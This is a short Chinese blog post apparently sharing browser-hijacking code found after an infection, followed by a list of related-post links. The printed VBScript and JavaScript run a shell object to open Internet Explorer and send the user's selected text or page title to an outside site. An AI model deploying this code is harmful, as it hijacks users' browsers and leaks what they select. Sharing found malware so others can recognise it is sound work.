一次中毒后找到的流氓代码
<script language="VBScript"> Function vsgo(txt) set shell = CreateObject("Wscript.Shell") shell.run chr(34) & "C:\Program Files\Internet Explorer\IEXPLORE.EXE" & Chr(34) & " http://www.www.com/baidu.html?sky=gb&?word=" & txt End Function </script> <script LANGUAGE="JavaScript"> function gotos() { if (external.menuArguments) { var parentwin = external.menuArguments; if (parentwin.document.selection){ var sel = parentwin.document.selection.createRange().text; } if(sel) { if( slen(sel)>38 ) sel = strString(sel,66) vsgo(sel); return false; } else var sel = ''; var url = parentwin.location.href; var title = parentwin.document.title; if(parentwin.event.srcElement.tagName == "A") { url = parentwin.event.srcElement.getAttribute("HREF"); title = parentwin.event.srcElement.innerText; } } else { //history.go(-1); } if( title ) vsgo(title); } function slen(str){ var c=0 for(var i=0;i<str.length;i++) (str.charCodeAt(i)>255) ? c+=2:c++; return c } function strString(str,len) { var strlen = 0,s = ""; for(var i = 0;i < str.length;i++) { if(str.charCodeAt(i) > 128) strlen += 2;else strlen++; s += str.charAt(i); if(strlen >= len) return s; } return s; } gotos(); </script>
劫持到百度搜索去了.
相关推荐
bentocaffe 2012-01-08
xzkjgw 2020-03-06
zyyjay 2020-01-22
zhglinux 2020-01-17
xsjezp 2008-06-20
kevinweijc 2013-06-04
anzhen0 2008-10-07
whyname 2017-05-18
别时茫茫 2012-08-27
一叶不知秋 2019-05-28
manlsq 2018-09-20
奇迹的黄昏 2016-04-25
楼上小宇home 2010-03-16
逍遥友 2010-03-16
lidongliang 2013-05-14
veforever 2017-08-06
小菜鸟的代码世界 2017-06-20